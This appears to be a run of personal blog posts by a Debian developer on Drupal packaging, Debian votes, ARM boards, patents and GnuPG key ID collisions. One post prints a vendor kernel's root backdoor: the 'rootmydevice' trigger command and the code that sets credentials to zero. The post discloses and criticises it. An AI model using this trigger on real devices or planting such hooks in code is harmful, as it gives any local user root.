I am sad (but feel my duty) to inform the world that we will not be providing a Drupal 8 package in Debian.
I filed an Intent To Package bug a very long time ago, intending to ship it with Jessie; Drupal 8 was so deep a change that it took their community overly long to achieve and stabilize. Still, Drupal 8 was released over a year ago today.
I started working on debianizing the package shortly afterwards. There is also some online evidence – As my call for help sent through this same blog.
But... Reality bites.
When I started testing my precious package... It broke in horrible ways. Uncomprehensible PHP errors (and I have to add here, I am a PHP newbie and am reluctant to learn better a language that strikes me as so inconsistent, so ugly), which we spent some time tackling... Of course, configuration changes are more than expected...
But, just as we Debianers learnt some important lessons after the way-too-long Sarge freeze (ten years ago, many among you won't remember those frustrating days), Drupal learnt as well. They changed their release strategy — Instead of describing it, those interested can read it at its source.
What it meant for me, sadly, is that this process does not align with the Debian maintenance model. This means: The Drupal API stays mostly-stable between 8.0.x, 8.1.x, 8.2.x, etc. However, Drupal will incorporate new versions of their bundled libraries. I understood the new versions would be incorporated at minor-level branches, but if I read correctly some of my errors, some dependencies change even at patch-level updates.
And... Well, if you update a PHP library, and the invoking PHP code (that is, Drupal) relies in this new version... Sadly, it makes it unmaintainable for Debian.
So, long story short: I have decided to drop Drupal8 support in Debian. Of course, if somebody wants to pick up the pieces, the Git repository is still there (although I do plan on erasing it in a couple of weeks, as it means useless waste of project resources otherwise), and you could probably even target unstable+backports in a weird way (as it's software that, given our constraints, shouldn't enter testing, at least during a freeze).
So... Sigh, a tear is dropped for every lost hour of work, and my depeest regrets to David and Enrique who put their work as well to make D8 happen in Debian. I will soon be closing the ITP and... Forgetting about the whole issue? ☹
At the beginning of this year, Irene Soria invited me to start a series of talks on the topic of hacker ethics, security and surveillance. I presented a talk titled Cryptography and identity: Not everything is anonymity.
The talk itself is recorded and available in archive.org (sidenote: I find it amazing that Universidad del Claustro de Sor Juana uses archive.org as their main multimedia publishing platform!)
But as part of this excercise, Irene invited me to write a chapter for a book covering the series. And, yes, she delivered!
So, finally, we will have the book presentation:
I know, not everybody following my posts (that means... Only those at or near Mexico City) will be able to join. But the good news: The book, as soon as it is presented, will be published under a CC BY-SA license. Of course, I will notify when it is ready.
Given that I started the GR process, and that I called for discussion and votes, I feel somehow as my duty to also put a simple wrap-around to this process. Of course, I'll say many things already well-known to my fellow Debian people, but also non-debianers read this.
So, for further context, if you need to, please read my previous blog post, where I was about to send a call for votes. It summarizes the situation and proposals; you will find we had a nice set of messages in email@example.com during September; I have to thank all the involved parties, much specially to Ian Jackson, who spent a lot of energy summing up the situation and clarifying the different bits to everyone involved.
So, we held the vote; you can be interested in looking at the detailed vote statistics for the 235 correctly received votes, and most importantly, the results:
First of all, I'll say I'm actually surprised at the results, as I expected Ian's proposal (acknowledge difficulty; I actually voted this proposal as my top option) to win and mine (repeal previous GR) to be last; turns out, the winner option was Iain's (remain private). But all in all, I am happy with the results: As I said during the discussion, I was much disappointed with the results to the previous GR on this topic — And, yes, it seems the breaking point was when many people thought the privacy status of posted messages was in jeopardy; we cannot really compare what I would have liked to have in said vote if we had followed the strategy of leaving the original resolution text instead of replacing it, but I believe it would have passed. In fact, one more surprise of this iteration was that I expected Further Discussion to be ranked higher, somewhere between the three explicit options. I am happy, of course, we got such an overwhelming clarity of what does the project as a whole prefer.
And what was gained or lost with this whole excercise? Well, if nothing else, we gain to stop lying. For over ten years, we have had an accepted resolution binding us to release the messages sent to debian-private given such-and-such-conditions... But never got around to implement it. We now know that debian-private will remain private... But we should keep reminding ourselves to use the list as little as possible.
For a project such as Debian, which is often seen as a beacon of doing the right thing no matter what, I feel being explicit about not lying to ourselves of great importance. Yes, we have the principle of not hiding our problems, but it has long been argued that the use of this list is not hiding or problems. Private communication can happen whenever you have humans involved, even if administratively we tried to avoid it.
Any of the three running options could have won, and I'd be happy. My #1 didn't win, but my #2 did. And, I am sure, it's for the best of the project as a whole.
For the non-Debian people among my readers: The following post presents bits of the decision-taking process in the Debian project. You might find it interesting, or terribly dull and boring :-) Proceed at your own risk.
My reason for posting this entry is to get more people to read the accompanying options for my proposed General Resolution (GR), and have as full a ballot as possible.
Some weeks ago, Nicolas Dandrimont proposed a GR for declassifying debian-private. In the course of the following discussion, he accepted Don Armstrong's amendment, which intended to clarify the meaning and implementation regarding the work of our delegates and the powers of the DPL, and recognizing the historical value that could lie within said list.  https://www.debian.org/vote/2016/vote_002  https://lists.debian.org/debian-vote/2016/07/msg00108.html  https://lists.debian.org/debian-vote/2016/07/msg00078.html In the process of the discussion, several people objected to the amended wording, particularly to the fact that "sufficient time and opportunity" might not be sufficiently bound and defined. I am, as some of its initial seconders, a strong believer in Nicolas' original proposal; repealing a GR that was never implemented in the slightest way basically means the Debian project should stop lying, both to itself and to the whole free software community within which it exists, about something that would be nice but is effectively not implementable. While Don's proposal is a good contribution, given that in the aforementioned GR "Further Discussion" won 134 votes against 118, I hereby propose the following General Resolution: === BEGIN GR TEXT === Title: Acknowledge that the debian-private list will remain private. 1. The 2005 General Resolution titled "Declassification of debian-private list archives" is repealed. 2. In keeping with paragraph 3 of the Debian Social Contract, Debian Developers are strongly encouraged to use the debian-private mailing list only for discussions that should not be disclosed. === END GR TEXT === Thanks for your consideration, -- Gunnar Wolf (with thanks to Nicolas for writing the entirety of the GR text ;-) )
Yesterday, I spoke with the Debian project secretary, who confirmed my proposal has reached enough Seconds (that is, we have reached five people wanting the vote to happen), so I could now formally do a call for votes. Thing is, there are two other proposals I feel are interesting, and should be part of the same ballot, and both address part of the reasons why the GR initially proposed by Nicolas didn't succeed:
- Ian Jackson's Acknowledge difficulty of declassifying debian-private makes explicit the role of the listmasters and allows for a formal declassification process to take place, as long as the privacy guarantees we had after the 2005 GR are not diminished.
- Iain Lane's reply to Ian is not yet formally proposed, but makes it spelt out that no declassification should ever occur unless all of the involved authors have explicitly consented
So, once more (and finally!), why am I posting this?
- To invite Iain to formally propose his text as an option to mine
- To invite more DDs to second the available options
- To publicize the ongoing discussion
I plan to do the formal call for votes by Friday 23.
[update] Kurt informed me that the discussion period started yesterday, when I received the 5th second. The minimum discussion period is two weeks, so I will be doing a call for votes at or after 2016-10-03.
For the readers of my blog that happen to be in Mexico City, I was invited to give a talk at Instituto de Ciencias Nucleares, Ciudad Universitaria, UNAM.
I will be at Auditorio Marcos Moshinsky, on August 26 starting at 13:00. Auditorio Marcos Moshinsky is where we met for the early (~1996-1997) Mexico Linux User Group meetings. And... Wow. I'm amazed to realize it's been twenty years that I arrived there, young and innocent, the newest of what looked like a sect obsessed with world domination and a penguin fetish.
As I have said here a couple of times already, I am teaching a diploma course on embedded Linux at UNAM, and one of the modules I'm teaching (with Sandino Araico) is the boot process. We focus on ARM for obvious reasons, and while I have done my reading on the topic, I am very far from considering myself an expert.
So, after attending Martin Michlmayr's «Debian on ARM devices» talk, I decided to do its subtitles as part of my teaching job. This talk gives a great panorama on what actually has to happen in order to get an ARM machine to boot, and how support for new ARM devices comes around to Linux in general and to Debian in particular — Perfect for our topic! But my students are not always very fluent in English, so giving a hand is always most welcome.
In case any of you dear readers didn't know, we have a DebConf subtitling team. Yes, our work takes much longer to reach the public, and we have no hopes whatsoever in getting it completed, but every person lending a hand and subtitling a talk that they thought was interesting helps a lot to improve our talks' usability. Even if you don't have enough time to do the whole talk (we are talking about some 6hr per 45 minute session), adding a bit of work is very very very welcome. So...
- Do you want to follow Martin's talk with subtitles?
- Do you want to help the subtitling effort?
Enjoy — And thanks in advance for your work!
I had my strong doubts as to whether the shipment would be allowed through customs, and was happily surprised by a smiling Graham today before noon. He handed me a smallish box that arrived to his office, containing...
Our fifty C.H.I.P. computers, those I offered to give away at DebConf!
The little machines are quite neat. They are beautiful little devices, including even a plastic back (so you can safely work with it over a conductive surface or things like that). Quite smaller than the usual Raspberry-like format. It has more than enough GPIO to make several of my friends around here drool about the possibilities.
So, what's to this machine besides a nice small ARM CPU, 512MB RAM, wireless connectivity (Wifi and bluetooth)? Although I have not yet looked into them (but intend to do so very soon!), it promises to have the freest available hardware around, and is meant for high hackability!
And not that it matters — But we managed to import them all, legally and completely hassle-free, into South Africa!
That's right — We are all used to the declaring commercial value as one dollar mindset. But... The C.H.I.P.s are actually priced at US$9 a piece. The declared commercial value is US$450. South Africans said all their customs are very hard to clear — But we were able receive 50 legally shipped computers, declared at their commercial value, without any hassles!
(yes, we might have been extremely lucky as well)
Anyway, stay tuned — By Thursday I will announce the list of people that get to take one home. I still have some left, so feel free to mail me at firstname.lastname@example.org.
I'm very happy to inform that the Next Thing Co. has shipped us a pack of 50 C.H.I.P. computers to be given away at DebConf! What is the C.H.I.P.? As their tagline says, it's the world's first US$9 computer. Further details:
All in all, it's a nice small ARM single-board computer; I won't bore you on this mail with tons of specs; suffice to say they are probably the most open ARM system I've seen to date.
So, I agreed with Richard, our contact at the company, I would distribute the machines among the DebConf speakers interested in one. Of course, not every DebConf speaker wants to fiddle with an adorable tiny piece of beautiful engineering, so I'm sure I'll have some spare computers to give out to other interested DebConf attendees. We are supposed to receive the C.H.I.P.s by Monday 4; if you want to track the package shipment, the DHL tracking number is 1209937606. Don't DDoS them too hard!
So, please do mail me telling why do you want one, what your projects are with it. My conditions for this giveaway are:
- I will hand out the computers by Thursday 7.
- Preference goes to people giving a talk. I will "line up" requests on two queues, "speaker" and "attendee", and will announce who gets one in a mail+post to this list on the said date.
- With this in mind, I'll follow a strict "first come, first served".
To sign up for yours, please mail email@example.com - I will capture mail sent to that alias ONLY.
I am submitting a comment to Wen Wen and Chris Forman's Viewpoint on the Communications of the ACM, titled Economic and business dimensions: Do patent commons and standards-setting organizations help navigate patent thickets?. I believe my comment is worth sharing a bit more openly, so here it goes. Nevertheless, please refer to the original article; it makes very interesting and valid points, and my comment should be taken as an extra note on a great text only!
I was very happy to see an article with this viewpoint published. This article, however, mentions some points I believe should be further stressed out as problematic and important. Namely, still at the introduction, after mentioning that patents «are intended to provide incentives for innovation by granting to inventors temporary monopoly rights», the next paragraph continues, «The presence of patent thickets may create challenges for ICT producers. When introducing a new product, a firm must identify patents its product may infringe upon.»
The authors continue explaining the needed process — But this simple statement should be enough to explain how the patent system is broken and needs repair.
A requisite for patenting an invention was originally the «inventive» and «non-obvious» characteristics. Anything worth being granted a patent should be inventive enough, it should be non-obvious to an expert in the field.
When we see huge bodies of awarded (and upheld) patents falling in the case the authors mention, it becomes clear that the patent applications were not thoroughly researched prior to their patent grant. Sadly, long gone are the days where the United States Patent and Trademarks Office employed minds such as Albert Einstein's; nowadays, the office is more a rubber-stamping bureaucracy where most patents are awarded, and this very important requisite is left open to litigation: If somebody is found in breach of a patent, they might choose to defend the issue that the patent was obvious to an expert. But, of course, that will probably cost more in legal fees than settling for an agreement with the patent holder.
The fact that in our line of work we must take care to search for patents before releasing any work speaks a lot about the process. Patents are too easily granted. They should be way stricter; the occurence of an independent developer mistakenly (and innocently!) breaching a patent should be most unlikely, as patents should only be awarded to truly non-obvious solutions.
Time passes. I had left several (too many?) pending things to be done un the quiet weeks between the end of the lective semestre and the beginning of muy Summer trip to Winter. But Saturday gets closer every moment... And our long trip to the South begins.
Among many other things, I wanted to avance with some Debían stuff - both packaging and WRT keyring analysis. I want to contacto some people I left pending interactions with, but honestly, that will only come face to face un Capetown.
As to "real life", I hace too many pending issues at work to even begin with; I hope to get some time at South África todo do some decent UNAM sysadmining. Also, I want to play the idea of using Git for my students' workflow (handing in projects and assignments, at least)... This can be interesting to talk with the Debían colleagues about, actually.
As a Masters student, I'm making good advances, and will probably finish muy class work next semester, six months ahead of schedule, but muy thesis work so far has progressed way slower than what I'd like. I have at least a better defined topic and approach, so I'll start the writing phase soon.
And the personal life? Family? I am more complete and happy than ever before. My life su completely different from two years ago. Yes, that was obvious. But it's also the only thing I can come up with. Having twin babies (when will they make the transition from "babies" to "kids"? No idea... We will find out as it comes) is more than beautiful, more than great. Our life has changed in every possible aspect. And yes, I admire my loved Regina for all of the energy and love she puts on the babies... Life is asymetric, I am out for most of the day... Mommy is always there.
As I said, happier than ever before.
I'll tune in to the post-based conversation being held on Planet Debian: Russell Coker wonders about what's needed to get university graduates with enough skills for a sysadmin job, to which Lucas Nussbaum responds with his viewpoints. They present a very contrasting view of what's needed for students — And for a good reason, I'd say: Lucas is an academician; I don't know for sure about Russell, but he seems to be a down-to-the-earth, dirty-handed, proficient sysadmin working on the field. They both contact newcomers to their fields, and will notice different shortcomings.
I tend to side with Lucas' view. That does not come as a surprise, as I've been working for over 15 years in an university, and in the last few years I started walking from a mostly-operative sysadmin in an academic setting towards becoming an academician that spends most of his time sysadmining. Subtle but important distinction.
I teach at the BSc level at UNAM, and am a Masters student at IPN (respectively, Mexico's largest and second-largest universities). And yes, the lack of sysadmin abilities in both is surprising. But so is a good understanding of programming. And I'm sure that, were I to dig into several different fields, I'd feel the same: Student formation is very basic at each of those fields.
But I see that as natural. Of course, if I were to judge people as geneticists as they graduate from Biology, or were I to judge them as topologists as they graduate from Mathematics, or any other discipline in which I'm not an expert, I'd surely not know where to start — Given I have about 20 years of professional life on my shoulders, I'm quite skewed as to what is basic for a computing professional. And of course, there are severe holes in my formation, in areas I never used. I know next to nothing of electronics, my mathematical basis is quite flaky, and I'm a poor excuse when talking about artificial intelligence.
Where am I going with this? An university degree (BSc in English, would amount to "licenciatura" in Spanish) is not for specialization. It is to have a sufficiently broad panorama of the field, and all of the needed tools to start digging deeper and specializing — either by yourself, working on a given field and learning its details as you go, or going through a postgraduate program (Specialization, Masters, Doctorate).
Even most of my colleagues at the Masters in Engineering in Security and Information Technology lack of a good formation in fields I consider essential. However, what does information security mean? Many among them are working on legal implications of several laws that touch our field. Many other are working on authenticity issues in images, audios and other such media. Many other are trying to come up with mathematical ways to cheapen the enormous burden of crypto operations (say, "shaving" CPU cycles off a very large exponentiation). Others are designing autonomous learning mechanisms to characterize malware. Were I as a computing professional to start talking about their research, I'd surely reveal I know nothing about it and get laughed at. That's because I haven't specialized in those fields.
University education should give a broad universal basis to enter a professional field. It should not focus on teaching tools or specific procedures (although some should surely be presented as examples or case studies). Although I'd surely be happy if my university's graduates were to know everything about administering a Debian system, that would be wrong for a university to aim at; I'd criticize it the same way I currently criticize programs that mix together university formation and industry certification as if they were related.
Debian is quite probably the project that most uses a OpenPGP implementation (that is, GnuPG, or gpg) for many of its internal operations, and that places most trust in it. PGP is also very widely used, of course, in many other projects and between individuals. It is regarded as a secure way to do all sorts of crypto (mainly, encrypting/decrypting private stuff, signing public stuff, certifying other people's identities). PGP's lineage traces back to Phil Zimmerman's program, first published in 1991 — By far, not a newcomer
PGP is secure, as it was 25 years ago. However, some uses of it might not be so. We went through several migrations related to algorithmic weaknesses (i.e. v3 keys using MD5; SHA1 is strongly discouraged, although not yet completely broken, and it should be avoided as well) or to computational complexity (as the migration away from keys smaller than 2048 bits, strongly prefering 4096 bits). But some vulnerabilities are human usage (that is, configuration-) related.
Today, Enrico Zini gave us a heads-up in the #debian-keyring IRC channel, and started a thread in the debian-private mailing list; I understand the mail to a private list was partly meant to get our collective attention, and to allow for potentially security-relevant information to be shared. I won't go into details about what is, is not, should be or should not be private, but I'll post here only what's public information already.
What are short and long key IDs?
I'll start by quoting Enrico's mail:
there are currently at least 3 ways to refer to a gpg key: short key ID (last 8 hex digits of fingerprint), long key ID (last 16 hex digits) and full fingerprint. The short key ID used to be popular, and since 5 years it is known that it is computationally easy to generate a gnupg key with an arbitrary short key id.
A mitigation to this is using "keyid-format long" in gpg.conf, and a better thing to do, especially in scripts, is to use the full fingerprint to refer to a key, or just ship the public key for verification and skip the key servers.
Note that in case of keyid collision, gpg will download and import all the matching keys, and will use all the matching keys for verifying signatures.
So... What is this about? We humans are quite bad at recognizing and remembering randomly-generated strings with no inherent patterns in them. Every GPG key can be uniquely identified by its fingerprint, a 128-bit string, usually encoded as ten blocks of four hexadecimal characters (this allows for 160 bits; I guess there's space for a checksum in it). That is, my (full) key's signature is:
AB41 C1C6 8AFD 668C A045 EBF8 673A 03E4 C1DB 921F
However, it's quite hard to recognize such a long string, let alone memorize it! So, we often do what humans do: Given that strong cryptography implies a homogenous probability distribution, people compromised on using just a portion of the key — the last portion. The short key ID. Mine is then the last two blocks (shown in boldface): C1DB921F. We can also use what's known as the long key ID, that's twice as long: 64 bits. However, while I can speak my short key ID on a single breath (and maybe even expect you to remember and note it down), try doing so with the long one (shown in italics above): 673A03E4C1DB921F. Nah. Too much for our little, analog brains.
This short and almost-rememberable number has then 32 bits of entropy — I have less than one in 4,000,000,000 chance of generating a new key with this same short key ID. Besides, key generation is a CPU-intensive operation, so it's quite unlikely we will have a collision, right?
Previous successful attacks on short key IDs
Already five years ago, Asheesh Laroia migrated his 1024D key to a 4096R. And, as he describes in his always-entertaining fashion, he made his computer sweat until he was able to create a new key for which the short key ID collided with the old one.
It might not seem like a big deal, as he did this non-maliciously, but this easily should have spelt game over for the usage of short key IDs. After all, being able to generate a collision is usually the end for cryptographic systems. Asheesh specifically mentioned in his posting how this could be abused.
But we didn't listen. Short key IDs are just too convenient! Besides, they allow us to have fun, can be a means of expression! I know of at least two keys that would qualify as vanity: Obey Arthur Liu's 0x29C0FFEE (created in 2009) and Keith Packard's 0x00000011 (created in 2012).
Then we got the Evil 32 project. They developed Scallion, started (AFAICT) in 2012. Scallion automates the search for a 32-bit collision using GPUs; they claim that it takes only four seconds to find a collision. So, they went through the strong set of the public PGP Web of Trust, and created a (32-bit-)colliding key for each of the existing keys.
And what happened now?
What happened today? We still don't really know, but it seems we found a first potentially malicious collision — that is, the first "nonacademic" case.
Enrico found two keys sharing the 9F6C6333 short ID, apparently belonging to the same person (as would be the case of Asheesh, mentioned above). After contacting Gustavo, though, he does not know about the second — That is, it can be clearly regarded as an impersonation attempt. Besides, what gave away this attempt are the signatures it has: Both keys are signed by what appears to be the same three keys: B29B232A, F2C850CA and 789038F2. Those three keys are not (yet?) uploaded to the keyservers, though... But we can expect them to appear at any point in the future. We don't know who is behind this, or what his purpose is. We just know this looks very evil.
Now, don't panic: Gustavo's key is safe. Same for his certifiers, Marga, Agustín and Maxy. It's just a 32-bit collision. So, in principle, the only parties that could be cheated to trust the attacker are humans, right?
Enrico tested on the PGP pathfinder & key statistics service, a keyserver that finds trust paths between any two arbitrary keys in the strong set. Surprise: The pathfinder works on the short key IDs, even when supplied full fingerprints. So, it turns out I have three faked trust paths into our impostor.
There are several things this should urge us to do.
- First of all, configure your local GPG to never show you short IDs. This is done by adding the line keyid-format 0xlong to ~/.gnupg/gpg.conf.
- I just checked both in /usr/share/gnupg/options.skel and /usr/share/gnupg2/gpg-conf.skel, and that setting is not yet part of the packages' defaults. I'll check a bit deeper and file bugs right away if needed!
- Have you written or maintained any program that deals with GPG keys in any way? Make sure it specifies --keyid-format long or 0xlong in any relevant call. It might even be better to use the machine-oriented representation instead: --with-colons.
- ...Of course, your computer will not feel tired or confused at comparing 160-bit full fingerprints instead of 64-bit long IDs, so it's better if our scripts use the full version for everything.
- Only sign somebody else's key if you see and verify its full fingerprint (this is not a new issue, but given we are talking about it, and that DebConf is around the corner, and that we will have a KSP as usual...)
And there are surely many other important recommendations. But this is a good set of points to start with.
[update] I was pointed at Daniel Kahn Gillmor's 2013 blog post, OpenPGP Key IDs are not useful. Daniel argues, in short, that cutting a fingerprint in order to get a (32- or 64-bit) short key ID is the worst of all worlds, and we should rather target either always showing full fingerprints, or not showing it at all (and leaving all the crypto-checking bits to be done by the software, as comparing 160-bit strings is not natural for us humans).
[update] This post was picked up by LWN.net. A very interesting discussion continues in their comments.
In the ARM world, to which I am still mostly a newcomer (although I've been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed.
Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux.
Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony.
As part of the "Linux Userspace" and "Boot process" modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system:
- Using our trusty Debian Installer in the (unfortunately few) devices where it is supported
- Installing via Debootstrap, as I did in my CuBox-i tutorial (note that the tutorial is nowadays obsolete. The CuBox-i can boot with Debian Installer!) and just keeping the boot partition (both for u-boot and for the kernel) of the vendor-provided install
- Building a barebones system using the great Buildroot set of scripts and hacks
- Downloading a full, but minimal, installed image, such as OpenWRT (I have yet to see what's there about its fork, LEDE)
Now... In the past few days, a huge vulnerability / oversight was discovered and made public, supporting my distrust of distribution forms that do not come from, well... The people we already know and trust to do this kind of work!
Most current ARM chips cannot run with the stock, upstream Linux kernel. Then require a set of patches that different vendors pile up to support their basic hardware (remember those systems are almost always systems-on-a-chip (SoC)). Some vendors do take the hard work to try to upstream their changes — that is, push the changes they did to the kernel for inclusion in mainstream Linux. This is a very hard task, and many vendors just abandon it.
So, in many cases, we are stuck running with nonstandard kernels, full with huge modifications... And we trust them to do things right. After all, if they are knowledgeable enough to design a SoC, they should do at least decent kernel work, right?
Turns out, it's far from the case. I have a very nice and nifty Banana Pi M3, based on the Allwinner A83T SoC. 2GB RAM, 8 ARM cores... A very nice little system, almost usable as a desktop. But it only boots with their modified 3.4.x kernel.
This kernel has a very ugly flaw: A debugging mode left open, that allows any local user to become root. Even on a mostly-clean Debian system, installed by a chrooted debootstrap:
- Debian GNU/Linux 8 bananapi ttyS0
- banana login: gwolf
- Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0
- Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l
- The programs included with the Debian GNU/Linux system are free software;
- the exact distribution terms for each program are described in the
- individual files in /usr/share/doc/*/copyright.
- Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
- permitted by applicable law.
- gwolf@banana:~$ id
- uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
- gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug
- gwolf@banana:~$ id
Why? Oh, well, in this kernel somebody forgot to comment out (or outright remove!) the sunxi-debug.c file, or at the very least, a horrid part of code therein (it's a very small, simple file):
- cred = (struct cred *)__task_cred(current);
- cred->uid = 0;
- cred->gid = 0;
- cred->suid = 0;
- cred->euid = 0;
- cred->euid = 0;
- cred->egid = 0;
- cred->fsuid = 0;
- cred->fsgid = 0;
- printk("now you are root\n");
Now... Just by looking at this file, many things should be obvious. For example, this is not only dangerous and lazy (it exists so developers can debug by touching a file instead of... typing a password?), but also goes against the kernel coding guidelines — the file is not documented nor commented at all. Peeking around other files in the repository, it gets obvious that many files lack from this same basic issue — and having this upstreamed will become a titanic task. If their programmers tried to adhere to the guidelines to begin with, integration would be a much easier path. Cutting the wrong corners will just increase the needed amount of work.
Anyway, enough said by me. Some other sources of information:
- The Register: This is what a root debug backdoor in a Linux kernel looks like
- How to root any Allwinner device running Android and most of the Chinese “Pi” clones which bet on Allwinner Android Linux Kernel, with some interesting comments regarding the extent of this bug's impact in different chips from the same family
- Commit fixing it on the SinoVoip repository — Of course, the fun part will be delivering it to users. If affected machines are effectively running as embedded systems of any sort... good luck with it! :-P
There are surely many other mentions of this. I just had to repeat it for my local echo chamber, and for future reference in class! ;-)
Petter and Elena both talk enthusiastically about the Pyra. I am currently waiting for the shipment of my C.H.I.P. kit — I pre-ordered my kit when it was still in kickstarter phase, and got the PocketC.H.I.P. level.
It is clearly not the same nor equivalent to the Pyra — The PocketC.H.I.P. is a convenient packaging for what is chiefly an System-on-a-chip; the C.H.I.P. is a small system by today's standards (single-core ARM, 512MB RAM, not meant to be expanded), but still it looks quite usable as a very portable and usable Unix system. Oh, and of course — It's also Debian by default.
I got quite interested in what the Pyra was like. However, the pricing does not make much sense to me. OK, the Pyra is quite a bigger machine, but... While the PocketC.H.I.P. costs officially US$70 (and before June, according to the site, US$50), the Pyra starts at €500 (plus taxes)... It is just too much!
Anyway, I hope to have mine in time to go to DebConf. I also hope Petter and/or Elena can make it this year. And I hope we can compare the systems. I guess the Pyra will sit closer to a regular laptop... But anyway, my two last laptops have been at the bottom of the price scale (both from the Acer Aspire One line). I bought both for around US$300, used the first one as my main laptop for over five years, and have been three with the current one, completely happy.
As many of you know (where "you" is "people reading this who actually know who I am), I come from a secular Jewish family. Although we have some religious (even very religious) relatives, neither my parents nor my grandparents were religious ever. Not that spirituality wasn't important to them — My grandparents both went deep into understanding by and for themselves the different spiritual issues that came to their mind, and that's one of the traits I most remember about them while I was growing up. But formal, organized religion was never much welcome in the family; again, each of us had their own ways to concile our needs and fears with what we thought, read and understood.
This week is the Jewish celebration of Passover, or Pesaj as we call it (for which Passover is a direct translation, as Pesaj refers to the act of the angel of death passing over the houses of the sons of Israel during the tenth plague in Egypt; in Spanish, the name would be Pascua, which rather refers to the ritual sacrifice of a lamb that was done in the days of the great temple)... Anyway, I like giving context to what I write, but it always takes me off the main topic I want to share. Back to my family.
I am a third-generation member of the Hashomer Hatzair zionist socialist youth movement; my grandmother was among the early Hashomer Hatzair members in Poland in the 1920s, both my parents were active in the Mexico ken in the 1950s-1960s (in fact, they met and first interacted there), and I was a member from 1984 until 1996. It was also thanks to Hashomer that my wife and I met, and if my children get to have any kind of Jewish contact in their lifes, I hope it will be through Hashomer as well.
Hashomer is a secular, nationalist movement. A youth movement with over a century of history might seem like a contradiction. Over the years, of course, it has changed many details, but as far as I know, the essence is still there, and I hope it will continue to be so for good: Helping shape integral people, with identification with Judaism as a nation and not as a religion; keeping our cultural traits, but interpreting them liberally, and aligned with a view towards the common good — Socialism, no matter how the concept seems passé nowadays. Colectivism. Inclusion. Peaceful coexistence with our neighbours. Acceptance of the different. I could write pages on how I learnt about each of them during my years in Hashomer, how such concepts striked me as completely different as what the broader Jewish community I grew up in understood and related to them... But again, I am steering off the topic I want to pursue.
Every year, we used to have a third Seder (that is, a third Passover ceremony) at Hashomer. A third one, because as tradition mandates two ceremonies to be held outside Israel, and a movement comprised of people aged between 7 and 21, having a seder competing with the familiar one would not be too successful, we held a celebration on a following day. But it would never be the same as the "formal" Pesaj: For the Seder, the Jewish tradition mandates following the Hagada — The Seder always follows a predetermined order (literally, Seder means order), and the Hagadá (which means both legend and a story that is spoken; you can find full Hagadot online if you want to see what rites are followed; I found a seemingly well done, modern, Hebrew and English version, a more traditional one, in Hebrew and Spanish, and Wikipedia has a description including its parts and rites) is, quite understandably, full with religious words, praises for God, and... Well, many things that are not in line with Hashomer's values. How could we be a secular movement and have a big celebration full with praises for God? How could we yearn for life in the kibbutz distance from the true agricultural meaning of the celebration?
The members of Hashomer Hatzair repeatedly took on the task (or, as many would see it, the heresy) of adapting the Hagada to follow their worldview, updated it for the twentieth century, had it more palatable for our peculiarities. Yesterday, when we had our Seder, I saw my father still has –together with the other, more traditional Hagadot we use– two copies of the Hagadá he used at Hashomer Hatzair's third Seder. And they are not only beautiful works showing what they, as very young activists thought and made solemn, but over time, they are becoming historic items by themselves (one when my parents were still young janijim, in 1956, and one when they were starting to have responsabilities and were non-formal teachers or path-showers, madrijim, in 1959). He also had a copy of the Hagadá we used in the 1980s when I was at Hashomer; this last one was (sadly?) not done by us as members of Hashomer, but prepared by a larger group between Hashomer Hatzair and the Mexican friends of Israeli's associated left wing party, Mapam. This last one, I don't know which year it was prepared and published on, but I remember following it in our ceremony.
So, I asked him to borrow me the three little books, almost leaflets, and scanned them to be put online. Of course, there is no formal licensing information in them, much less explicit authorship information, but they are meant to be shared — So I took the liberty of uploading them to the Internet Archive, tagging them as CC-0 licensed. And if you are interested in them, flowing over and back between Spanish and Hebrew, with many beautiful texts adapted for them from various sources, illustrated by our own with the usual heroic, socialist-inspired style, and lovingly hand-reproduced using the adequate technology for their day... Here they are:
- Hagada de Pesaj 1956, Hashomer Hatzair México
- Hagada de Pesaj 1959, Hashomer Hatzair México
- Hagada de Pesaj, Hashomer Hatzair y MAPAM México
I really enjoyed the time I took scanning and forming them, reading some passages, imagining ourselves and my parents as youngsters, remembering the beautiful work we did at such a great organization. I hope this brings this joy to others like it did to me.
פעם שומר, תמיד שומר. Once shomer, always shomer.